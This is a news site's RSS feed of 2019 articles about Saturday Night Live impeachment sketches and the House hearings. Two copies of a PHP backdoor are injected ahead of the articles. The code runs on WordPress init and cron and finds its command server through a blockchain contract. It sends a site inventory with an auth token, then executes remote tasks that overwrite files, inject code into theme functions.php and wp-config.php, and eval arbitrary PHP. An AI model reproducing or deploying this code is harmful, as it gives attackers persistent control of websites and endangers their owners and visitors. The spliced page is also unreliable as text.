// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); impeachment – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 24 Nov 2019 07:30:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png impeachment – Brief News https://briefnews.eu 32 32 SNL: Will Ferrell’s Gordon Sondland Crashes Trump’s Impeachment Presser https://briefnews.eu/snl-will-ferrells-gordon-sondland-crashes-trumps-impeachment-presser/ https://briefnews.eu/snl-will-ferrells-gordon-sondland-crashes-trumps-impeachment-presser/#respond Sun, 24 Nov 2019 07:30:42 +0000 http://briefnews.eu/snl-will-ferrells-gordon-sondland-crashes-trumps-impeachment-presser/

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The impeachment inquiry against President Trump was once again grist for the Saturday Night Live mill, with Lorne Michaels tapping former cast member (and current host) Will Ferrell to play the hearing’s latest breakout star, U.S. Ambassador to the EU Gordon Sondland.

Instead of specifically sending up this week’s public hearings (as it did last week), SNL opted instead to focus its cold open on the impromptu presser Trump (Alec Baldwin, reprising his role) held on the White House lawn, during which he dismissed Sondland’s claims of quid pro quo while also denying even knowing him. (SNL had particular fun with Trump’s Sharpie-drenched cheat sheet, with the prez explaining, “I love black magic markers; they smell like licorice.”)

At the end of the sketch, Ferrell’s Sondland crashed the press conference and agreed with Trump to “keep the quid pro quo on the low-low,” before addressing the press directly with this plea: “I want to go on the record and say you’ve got to lay off my boy. Everyone loves his ass: Ukraine, Russia, they’ll do anything for this man. I know, I asked.”

Check back shortly for video of the sketch.

This is the second week in a row that SNL kicked things off with an impeachment-related sketch. Last week, the show remade the inquiry was presented as a twisty daytime serial starring Cecily Strong as former ambassador to Ukraine Marie Yovanovitch, Mikey Day as Ohio representative Jim Jordan and special guest Jon Hamm as “career diplomat” Bill Taylor.

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]]> https://briefnews.eu/snl-will-ferrells-gordon-sondland-crashes-trumps-impeachment-presser/feed/ 0 SNL’s ‘Days of Our Impeachment’ Has Jon Hamm, Soapy Twists — WATCH https://briefnews.eu/snls-days-of-our-impeachment-has-jon-hamm-soapy-twists-watch/ https://briefnews.eu/snls-days-of-our-impeachment-has-jon-hamm-soapy-twists-watch/#respond Sun, 17 Nov 2019 10:03:56 +0000 http://briefnews.eu/snls-days-of-our-impeachment-has-jon-hamm-soapy-twists-watch/

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Because the impeachment inquiry against President Trump thus far is “lacking in pizzazz” (as one NBC News wonk put it), “dull,” and “is not The Masked Singer,” Saturday Night Live aimed to up the drama in soapy style this weekend.

In “Days of Our Impeachment” — which is arguably the best thing to happen for NBC’s Days of Our Lives since, well, this — the inquiry was presented, with very limited success, as a twisty daytime serial starring Cecily Strong as former ambassador to Ukraine Marie Yovanovitch, Mikey Day as the “Cross-Examiner With a Mysterious Brain Injury” (aka jacket-averse Ohio representative Jim Jordan), and special guest Jon Hamm as “career diplomat” Bill Taylor, a “low-key Daddy” who eventually found himself in a heated clinch with “telenovela sensation Alexandria Ocasio-Cortez.”

The cold open was ultimately overpopulated (Kenan Thompson as Cleveland Browns defensive end Myles Garrett?!), with none of the half-hearted impressions really landing, save for Kate McKinnon’s always slithery Rudy Giuliani. Heidi Gardner, though, merited some laughs as an onlooker prone to fainting over each twist.

What did you think of “the first soap where you can’t imagine any of the people in it having sex”? We’ll update this post with full video later; until then, here are two clips:

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]]> https://briefnews.eu/snls-days-of-our-impeachment-has-jon-hamm-soapy-twists-watch/feed/ 0 Trump Impeachment Live Stream: Watch Day 2 of Public Testimony https://briefnews.eu/trump-impeachment-live-stream-watch-day-2-of-public-testimony/ https://briefnews.eu/trump-impeachment-live-stream-watch-day-2-of-public-testimony/#respond Fri, 15 Nov 2019 11:23:50 +0000 http://briefnews.eu/trump-impeachment-live-stream-watch-day-2-of-public-testimony/

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The impeachment inquiry of President Donald Trump marked a major turning point on Wednesday when William Taylor, the top U.S. diplomat to Ukraine, and George Kent, assistant secretary of state for European and Eurasian affairs, testified before the House Intelligence Committee. On Friday, open hearings resume with former U.S. ambassador to Ukraine Marie Yovanovitch.

Taylor and Kent’s testimonies marked the first public hearings since House Speaker Nancy Pelosi announced a formal impeachment inquiry on Sept. 24. Yovanovitch’s remarks are expected to be broadcast on C-SPAN, as well as all major cable news networks. Coverage begins at 9 am.

The following testimonies are also scheduled to take place in the coming days:

Tuesday, Nov. 19
Jennifer Williams (State Department official)
Lt. Col. Alexander Vindman (National Security Council staffer)
Kurt Volker (former U.S. special representative to Ukraine)
Tim Morrison (National Security Council staffer)

Wednesday, Nov. 20
Gordon Sondland (U.S. Ambassador to the EU)
Laura Cooper (Defense Department official)
David Hale (Under Secretary of State for Political Affairs)

Thursday, Nov. 21
Fiona Hill (National Security Council staffer)

Trump is the fourth U.S. president to face an impeachment inquiry. The vote by the House of Representatives came after Trump’s phone call with Ukrainian president Volodymyr Zelensky on July 25. During the 30-minute conversation, Trump asked Zelensky to investigate potential political rival Joe Biden and his son, Hunter Biden, who previously sat on the board of a Ukrainian natural gas company while his father served as vice president of the United States.

Press PLAY on the live stream above (courtesy of PBS), then hit the comments with your reactions to Friday’s proceedings.

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]]> https://briefnews.eu/trump-impeachment-live-stream-watch-day-2-of-public-testimony/feed/ 0 SNL Video: Matthew Broderick Plays Mike Pompeo in Impeachment Sketch, Ferris Bueller References Abound https://briefnews.eu/snl-video-matthew-broderick-plays-mike-pompeo-in-impeachment-sketch-ferris-bueller-references-abound/ https://briefnews.eu/snl-video-matthew-broderick-plays-mike-pompeo-in-impeachment-sketch-ferris-bueller-references-abound/#respond Sun, 06 Oct 2019 08:28:59 +0000 http://briefnews.eu/snl-video-matthew-broderick-plays-mike-pompeo-in-impeachment-sketch-ferris-bueller-references-abound/

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Saturday was not a day off for Matthew Broderick, who popped up during this week’s SNL cold open to portray Secretary of State Mike Pompeo.

He arrived amidst a conversation at the White House between Mike Pence (played by Beck Bennett) and Rudy Giuliani (Kate McKinnon), both of whom were extremely flustered over this “impeachment farce.” Giuliani was frustrated that it was interfering with his “busy season” (aka Halloween), while Pence was simply annoyed that it was interrupting his plans to see Judy with “Mother.”

As for M.I.A. President Trump, typically played by Alec Baldwin, he was busy meeting with an alligator breeder to discuss populating his beloved wall.

OK, now for what we all came here to talk about: When asked about failing to meet a subpoena deadline to present the House with Ukraine-related documents, he simply replied that he bought himself a little time. Cut to a Pompeo-less hearing, where Alex Moffat was taking attendance Ferris Bueller-style: “Pompeo? … Pompeo? … Pompeo?”

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And that wasn’t the only reference to Broderick’s iconic character. On his way out of the White House — presumably fleeing to Finland — Pompeo announced, “Impeachment moves pretty fast. If you don’t stop and look around once in a while, you could miss it.”

This marks Broderick’s third appearance on Saturday Night Live. He made his hosting debut in 1988, then returned for a second time in 1998.

Hit PLAY on the video above to watch Broderick as Pompeo, then drop a comment with your thoughts below.

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]]> https://briefnews.eu/snl-video-matthew-broderick-plays-mike-pompeo-in-impeachment-sketch-ferris-bueller-references-abound/feed/ 0 SNL: Trump Calls on Ray Donovan to ‘Fix’ His Impeachment Problem in Season Premiere Cold Open https://briefnews.eu/snl-trump-calls-on-ray-donovan-to-fix-his-impeachment-problem-in-season-premiere-cold-open/ https://briefnews.eu/snl-trump-calls-on-ray-donovan-to-fix-his-impeachment-problem-in-season-premiere-cold-open/#respond Sun, 29 Sep 2019 11:02:38 +0000 http://briefnews.eu/snl-trump-calls-on-ray-donovan-to-fix-his-impeachment-problem-in-season-premiere-cold-open/

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With a summer’s worth of political fodder to choose from, NBC’s Saturday Night Live kicked off its 45th season with President Trump frantically working the phone to find a “fixer” for his impeachment problem.

To start with, Trump rang personal attorney Rudy Giuliani, who was more than happy to help deal with any “illegal dealings, cover-ups, or cover-ups of the cover-ups,” he said… while on-camera at CNN. Whoops.

Desperate to find a “sacrificial patsy,” Trump next called Mike Pence, but failed to convince his VP that the whole Ukraine thing was his idea. Donald Jr. was a bit more helpful, until Eric blurted out over the open phone line about the whole “treason” thing.

New cast member Bowen Yang made his debut as Kim Jong Il, who counseled the U.S. president to silence the whistleblower by …dropping him to the bottom of an ocean.

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Even POTUS pal Kanye West was of little help, seeing as Don King interrupted to say that, following a meeting of The Black Wackadoodles, they decided Trump was damaging for their brand.

After getting a disconcerting pep talk from Fox News’ Jeanine Pirro, Trump phoned fixer Ray Donovan… or, more accurately, actor and onetime SNL host Liev Schreiber, who struggled to explain that Ray is just a fictional character. And while John Wick, too, is fake, Schreiber agreed that Liam Neeson might be up to the task of making Trump’s problem go away.

Watch the cold open above, then weigh in with your thoughts on how SNL started the season.

